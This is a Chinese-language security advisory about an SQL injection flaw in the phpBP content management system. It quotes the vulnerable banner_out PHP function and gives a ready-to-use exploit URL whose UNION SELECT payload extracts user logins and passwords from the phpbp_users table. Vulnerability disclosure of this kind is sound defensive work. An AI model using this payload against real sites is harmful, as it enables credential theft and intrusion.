phpBP id参数远程SQL注入漏洞


添加时间:
2008-10-04

系统编号:
WAVDB-01147
BUGTRAQ: 28272

影响版本:
phpBP

程序介绍:

PHPBP是在波兰广泛使用的网站内容管理系统。

漏洞分析:

PHPBP的includes/functions/banners-external.php脚本文件中没有正确地验证对id参数的输入,允许远程攻击者通过提交特制的SQL查询请求执行SQL注入攻击。

以下是有漏洞的代码段:

 
  1. ...  
  2.    function banner_out() //zlicza ilosc klikniec na banner  
  3.    {  
  4.     global $conf;  
  5.    
  6.     if($_GET['id'])  
  7.     {  
  8.      SQLvalidate($_POST['id']);  
  9.   
  10.     $db = new dbquery;  
  11.     $db->query("SELECT * FROM $conf[prefix]banners WHERE id=$_GET[id]") or $db->err(__FILE__, __LINE__);   
  12.    
  13.     if($db->num_rows()==0)  
  14.     {  
  15.      redirect('index.php?module=error?error=banners_error2');  
  16.      exit;  
  17.     }   
  18.    
  19.     $d=$db->fetch_object();  
  20.     $db->query("UPDATE $conf[prefix]banners SET views=views+1 WHERE id='$_GET[id]'") or $db->err(__FILE__, __LINE__);   
  21.    
  22.     redirect($d->url);  
  23.    }  
  24.   
  25.    exit;  
  26.   }  
  27. ...  


漏洞利用:

http://[host]/[path]/index.php?function=banner_out&id=10000/**/LIMIT/**/0/**/UNION/**/SELECT/**/1,2,concat(0x687474703A2F2F,login,0x5F,pass),4,5,6,7,8,9/**/FROM/**/phpbp_users/**/LIMIT/**/1/*

解决方案:
厂商补丁:
PHP BP Team
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpbp.com/index.php?module=download

信息来源:
<*来源:irk4z (irk4z@yahoo.pl)
链接:http://secunia.com/advisories/29411/
*>